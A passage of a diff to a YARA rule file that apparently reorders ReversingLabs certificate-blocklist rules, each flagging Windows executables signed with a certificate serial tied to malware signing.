INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "44c878ab-75b2-5cd3-a019-94982a508e0f" + id = "465fc41c-920d-55e6-8616-a51d1f77b158" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10716-L10732" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4704-L4722" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4f88df4fc2f4cd89aa177ce09caab3e2660267ae883f7ab54c22a9ba1657bad0" + logic_hash = "35b1f04cf5d5d1d89db537bf75737e3af5945e594f4d4231e9ae3e7fba52fc0d" score = 75 quality = 90 tags = "INFO, FILE" @@ -21485,21 +43879,21 @@ rule REVERSINGLABS_Cert_Blocklist_0F1Ae2239Bb96C5Aef49D0Ae50266912 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aarav Consulting Inc." and pe.signatures [ i ] . serial == "0f:1a:e2:23:9b:b9:6c:5a:ef:49:d0:ae:50:26:69:12" and 1653004800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SOFTWARE HUB IT LTD" and ( pe.signatures [ i ] . serial == "00:df:47:9e:14:a7:0c:79:70:a4:de:3d:d3:e4:bb:03:18" or pe.signatures [ i ] . serial == "df:47:9e:14:a7:0c:79:70:a4:de:3d:d3:e4:bb:03:18" ) and 1591660800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Deea179F5757Fe529043577762419Df : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2924785Fd7990B2D510675176Dae2Bed : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ef29c813-e914-5766-990f-76c14d18ec79" + id = "6898e95c-ee31-57a3-b764-99bf9008d0fe" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10734-L10750" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4724-L4740" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "67c3d3496caf54ca0b1afc4d1dcc902e2f3632ac6708f85e163d427b567d098f" + logic_hash = "e308ca5f24ed5811e947289caf9aa820a16b08ea183c7aa9826f8a726fb5c3cf" score = 75 quality = 90 tags = "INFO, FILE" @@ -21509,21 +43903,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Deea179F5757Fe529043577762419Df : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPIRIT CONSULTING s. r. o." and pe.signatures [ i ] . serial == "1d:ee:a1:79:f5:75:7f:e5:29:04:35:77:76:24:19:df" and 1645401600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Neoopt LLC" and pe.signatures [ i ] . serial == "29:24:78:5f:d7:99:0b:2d:51:06:75:17:6d:ae:2b:ed" and 1595000258 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5B1F9Ec88D185631Ab032Dbfd5166C0D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F4D2Def53Bccb0Dd2B7D54E4853A2Fc5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "51c596cd-3033-51ef-914f-310d2bbfbd5f" + id = "3c1bec34-9eac-5c7c-bb36-2e24b6ee52dc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10752-L10768" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4742-L4760" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dec9d43c6911deb5f35c45692bfd6ef47f85d955f5e59041e58a1f0d2fc306e3" + logic_hash = "9991f44b8e984bd79269c44999481258d94bec9c21b154b63c6c30ae52344b3c" score = 75 quality = 90 tags = "INFO, FILE" @@ -21533,21 +43927,21 @@ rule REVERSINGLABS_Cert_Blocklist_5B1F9Ec88D185631Ab032Dbfd5166C0D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOPFLIGHT GROUP LIMITED" and pe.signatures [ i ] . serial == "5b:1f:9e:c8:8d:18:56:31:ab:03:2d:bf:d5:16:6c:0d" and 1656028800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PETROYL GROUP, TOV" and ( pe.signatures [ i ] . serial == "00:f4:d2:de:f5:3b:cc:b0:dd:2b:7d:54:e4:85:3a:2f:c5" or pe.signatures [ i ] . serial == "f4:d2:de:f5:3b:cc:b0:dd:2b:7d:54:e4:85:3a:2f:c5" ) and 1598347687 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_58Af00Ce542760Fc116B41Fa92E18589 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03Bf9Ef4Cf037A2385649026C3Da9D3E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bb58ae8d-ef28-5644-abe8-2d4d8c892e95" + id = "d7396af1-2eae-594a-9933-3d148503c0ea" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10770-L10786" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4762-L4778" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ff773d252e5e0402171ae15d7ab43bcfd313eb8c326ed5f128a89ec43386a52" + logic_hash = "14196bad586b1349e6e8a1eb5621ce0d8d346ff8021c8ef80804de1533fd40d9" score = 75 quality = 90 tags = "INFO, FILE" @@ -21557,21 +43951,21 @@ rule REVERSINGLABS_Cert_Blocklist_58Af00Ce542760Fc116B41Fa92E18589 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DICKIE MUSDALE WINDFARM LIMITED" and pe.signatures [ i ] . serial == "58:af:00:ce:54:27:60:fc:11:6b:41:fa:92:e1:85:89" and 1654819200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "COLLECTIVE SOFTWARE INC." and pe.signatures [ i ] . serial == "03:bf:9e:f4:cf:03:7a:23:85:64:90:26:c3:da:9d:3e" and 1595371955 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_25Ba18A267D6D8E08Ebc6E2457D58D1E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_790177A54209D55560A55Db97C5900D6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "eb06576e-11ea-58ba-aa19-68c161f6aa68" + id = "cc49f477-269a-55af-8344-39d2f24c1e7f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10788-L10804" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4780-L4796" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "174fe170c26a8197486e7b390d9fce4da61fb68ee5dc9486d43dbeb3cf659c3a" + logic_hash = "07c8e21fe604b481beebae784eb49e32bebee70e749581a55313bfbc757752e2" score = 75 quality = 90 tags = "INFO, FILE" @@ -21581,21 +43975,21 @@ rule REVERSINGLABS_Cert_Blocklist_25Ba18A267D6D8E08Ebc6E2457D58D1E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5Y TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "25:ba:18:a2:67:d6:d8:e0:8e:bc:6e:24:57:d5:8d:1e" and 1648684800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MAK GmbH" and pe.signatures [ i ] . serial == "79:01:77:a5:42:09:d5:55:60:a5:5d:b9:7c:59:00:d6" and 1594080000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_12Df5Ff3460979Cec1288D874A9Fbf83 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_048F7B5F67D8E2B3030F75Eb7Be2713D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9158c9a5-37fc-54bc-9601-3aa347a421ab" + id = "e746516a-c51f-5cb8-8157-a5fe1f2c7abe" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10806-L10822" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4798-L4814" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3d4b5e56962d04bc35451eeab4c1870c8653c9afcbb28dc6bad7cfb1711e9df1" + logic_hash = "6d1b47f3c9d7b90a5470f83a848adeebff2cf9341a1eb41ca8b45d08b469b17f" score = 75 quality = 90 tags = "INFO, FILE" @@ -21605,21 +43999,21 @@ rule REVERSINGLABS_Cert_Blocklist_12Df5Ff3460979Cec1288D874A9Fbf83 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORWARD MUSIC AGENCY SRL" and pe.signatures [ i ] . serial == "12:df:5f:f3:46:09:79:ce:c1:28:8d:87:4a:9f:bf:83" and 1599091200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RITEIL SERVIS, OOO" and pe.signatures [ i ] . serial == "04:8f:7b:5f:67:d8:e2:b3:03:0f:75:eb:7b:e2:71:3d" and 1591142400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Df2547B2Cab5689A81D61De80Eaaa3A2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_082023879112289Bf351D297Cc8Efcfc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1e76a088-b0f2-54d6-b730-77552c74d7bd" + id = "94a4e3d6-2d0a-5e5d-9ae8-574ef9be017e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10824-L10842" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4816-L4832" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cde89ae5b77ff6833fe642bdd74e81763ef068e31c07e7881906e4e4a5939942" + logic_hash = "58bec160445765ce45a26bf9d96ba6cfe61eee31e0953009d40a7ec64920c677" score = 75 quality = 90 tags = "INFO, FILE" @@ -21629,21 +44023,21 @@ rule REVERSINGLABS_Cert_Blocklist_Df2547B2Cab5689A81D61De80Eaaa3A2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORWARD MUSIC AGENCY SRL" and ( pe.signatures [ i ] . serial == "00:df:25:47:b2:ca:b5:68:9a:81:d6:1d:e8:0e:aa:a3:a2" or pe.signatures [ i ] . serial == "df:25:47:b2:ca:b5:68:9a:81:d6:1d:e8:0e:aa:a3:a2" ) and 1657756800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STA-R TOV" and pe.signatures [ i ] . serial == "08:20:23:87:91:12:28:9b:f3:51:d2:97:cc:8e:fc:fc" and 1573430400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_28B691272719B1Ee : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0D53690631Dd186C56Be9026Eb931Ae2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8f1d125a-de0f-525b-8dac-702bc123cc53" + id = "4f60613c-4162-5b3d-989f-f79a06450f4d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10844-L10860" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4834-L4850" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0bd973f415b7cfa0858c705c4486da9f181c7259af01d1cff486fb6b8e8e775b" + logic_hash = "3d0a80c062800f935fa3837755e8a91245e01a4e2450a05fecab5564cb62c15c" score = 75 quality = 90 tags = "INFO, FILE" @@ -21653,21 +44047,21 @@ rule REVERSINGLABS_Cert_Blocklist_28B691272719B1Ee : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "2021945 Ontario Inc." and pe.signatures [ i ] . serial == "28:b6:91:27:27:19:b1:ee" and 1616410532 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STA-R TOV" and pe.signatures [ i ] . serial == "0d:53:69:06:31:dd:18:6c:56:be:90:26:eb:93:1a:e2" and 1592190240 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1C897216E58E83Cbe74Ad03284E1Fb82 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_32119925A6Ce4710Aecc4006C28E749F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8805805d-312d-5bd4-94da-c18270ac26bf" + id = "cfd51cb8-bd04-5ede-a73e-e924815a01f0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10862-L10878" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4852-L4868" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6b3b2708d3a442fa6425e60ae900c94fc22fbfdb47f290ff56e9d349d99fd85f" + logic_hash = "ca812cdfbb7ca984fae1e16159eb0eeb1e65767fcc6aa07eeb84966853146f9d" score = 75 quality = 90 tags = "INFO, FILE" @@ -21677,21 +44071,21 @@ rule REVERSINGLABS_Cert_Blocklist_1C897216E58E83Cbe74Ad03284E1Fb82 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "M-Trans Maciej Caban" and pe.signatures [ i ] . serial == "1c:89:72:16:e5:8e:83:cb:e7:4a:d0:32:84:e1:fb:82" and 1639119705 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Maxiol" and pe.signatures [ i ] . serial == "32:11:99:25:a6:ce:47:10:ae:cc:40:06:c2:8e:74:9f" and 1592438400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5A364C4957D93406F76321C2316F42F0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2C90Eaf4De3Afc03Ba924C719435C2A3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "49e36ae5-25f0-5e1d-82f0-c7ada2b4d914" + id = "06edc1a3-65b1-5a69-ab6b-4ffc3963513c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10880-L10896" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4870-L4888" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fe3a2b906debb3f03e6a403829fca02c751754e9a02442a962c66defb84aed83" + logic_hash = "5bb78a5e39f9d023cf63edabdc83d4965fc79f6f04f9fea9bcf2a53223fbd4ca" score = 75 quality = 90 tags = "INFO, FILE" @@ -21701,21 +44095,21 @@ rule REVERSINGLABS_Cert_Blocklist_5A364C4957D93406F76321C2316F42F0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Board Game Bucket Ltd" and pe.signatures [ i ] . serial == "5a:36:4c:49:57:d9:34:06:f7:63:21:c2:31:6f:42:f0" and 1661337307 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AntiFIX s.r.o." and ( pe.signatures [ i ] . serial == "00:2c:90:ea:f4:de:3a:fc:03:ba:92:4c:71:94:35:c2:a3" or pe.signatures [ i ] . serial == "2c:90:ea:f4:de:3a:fc:03:ba:92:4c:71:94:35:c2:a3" ) and 1586293430 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E7E7F7180666546Ce7A8Da32119F5Ce1 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Aff762E907F0644E76Ed8A7485Fb12A1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8984ac03-2646-54a1-a6d3-4c2cc72806e7" + id = "3b3bbbdd-9c2d-5c80-a121-3e3ad13e9ac6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10898-L10916" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4890-L4908" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "940f6508208998593f309ffeeeda20ab475d427c952a14871b6e58e17d2a4c85" + logic_hash = "ad05389e0eb30cb894b03842d213b8c956f66357a913c73d8d8b79f8336bf980" score = 75 quality = 90 tags = "INFO, FILE" @@ -21725,21 +44119,21 @@ rule REVERSINGLABS_Cert_Blocklist_E7E7F7180666546Ce7A8Da32119F5Ce1 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C\\xC3\\x94NG TY TNHH PDF SOFTWARE" and ( pe.signatures [ i ] . serial == "00:e7:e7:f7:18:06:66:54:6c:e7:a8:da:32:11:9f:5c:e1" or pe.signatures [ i ] . serial == "e7:e7:f7:18:06:66:54:6c:e7:a8:da:32:11:9f:5c:e1" ) and 1661558399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lets Start SP Z O O" and ( pe.signatures [ i ] . serial == "00:af:f7:62:e9:07:f0:64:4e:76:ed:8a:74:85:fb:12:a1" or pe.signatures [ i ] . serial == "af:f7:62:e9:07:f0:64:4e:76:ed:8a:74:85:fb:12:a1" ) and 1594882330 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_062B2827500C5Df35A83F661B3Af5Dd3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D8530214Ca0F512946496B5164C61201 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "784c58d9-9a13-5402-867e-c1b144512957" + id = "0125a67a-d5e7-5c93-a58c-cacb6d8fa60b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10918-L10934" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4910-L4928" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4edc263b08b21428b5f2f4f14f9582c0f96f79cb49fbba563c103bf8bb2037a6" + logic_hash = "377962915586c9f5a5737c24b698c96efc2e819e52ee16109c405f9af2d57e7f" score = 75 quality = 90 tags = "INFO, FILE" @@ -21749,21 +44143,21 @@ rule REVERSINGLABS_Cert_Blocklist_062B2827500C5Df35A83F661B3Af5Dd3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "*.eos.com" and pe.signatures [ i ] . serial == "06:2b:28:27:50:0c:5d:f3:5a:83:f6:61:b3:af:5d:d3" and 1651449600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DJ ONLINE MARKETING LIMITED" and ( pe.signatures [ i ] . serial == "00:d8:53:02:14:ca:0f:51:29:46:49:6b:51:64:c6:12:01" or pe.signatures [ i ] . serial == "d8:53:02:14:ca:0f:51:29:46:49:6b:51:64:c6:12:01" ) and 1595485920 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Bf27695Fd20B588F2B2F173B6Caf2Ba : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_661Ba8F3C9D1B348413484E9A49502F7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a3e6923a-f2c4-5d7c-aeab-bdb7fe03c597" + id = "a0c501c9-a856-55b6-b845-aeab4db5ab51" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10936-L10952" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4930-L4948" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "94d8739761b6a8ee91550be47432b046609b076aab6e57996de123a0fcaba73e" + logic_hash = "4840b311c1e2c0ae14bb2cf6fa8d96ab1a434ceac861db540697f3aed1a6833f" score = 75 quality = 90 tags = "INFO, FILE" @@ -21773,21 +44167,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Bf27695Fd20B588F2B2F173B6Caf2Ba : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Game Warriors Limited" and pe.signatures [ i ] . serial == "7b:f2:76:95:fd:20:b5:88:f2:b2:f1:73:b6:ca:f2:ba" and 1662112800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Unique Digital Services Ltd." and ( pe.signatures [ i ] . serial == "00:66:1b:a8:f3:c9:d1:b3:48:41:34:84:e9:a4:95:02:f7" or pe.signatures [ i ] . serial == "66:1b:a8:f3:c9:d1:b3:48:41:34:84:e9:a4:95:02:f7" ) and 1594942800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1B248C8508042D36Bbd5D92D189C61D8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_51Aead5A9Ab2D841B449Fa82De3A8A00 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4ad05207-10d1-53c5-8383-a3c71a447ed6" + id = "c4909945-f2f1-53b2-b438-edf411fda7ed" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10954-L10970" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4950-L4966" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2c063d0878a8bf6cd637e1dac2cb9164beb52c951e01858a7c3c9c4c1a853f54" + logic_hash = "e53095aab9d6c2745125e8cd933334ebc2e51a9725714d31a46baa74b8e42ed9" score = 75 quality = 90 tags = "INFO, FILE" @@ -21797,21 +44191,21 @@ rule REVERSINGLABS_Cert_Blocklist_1B248C8508042D36Bbd5D92D189C61D8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digital Robin Limited" and pe.signatures [ i ] . serial == "1b:24:8c:85:08:04:2d:36:bb:d5:d9:2d:18:9c:61:d8" and 1663171218 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Corsair Software Solution Inc." and pe.signatures [ i ] . serial == "51:ae:ad:5a:9a:b2:d8:41:b4:49:fa:82:de:3a:8a:00" and 1501577475 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_032660Ee1D49Ad35086027473E2614E5E724 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03B630F9645531F8868Dae8Ac0F8Cfe6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "29cb9255-0a34-58e8-88b2-fad988c7d229" + id = "be945687-9b8c-5d84-9992-fd317eddae54" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10972-L10988" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4968-L4984" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = 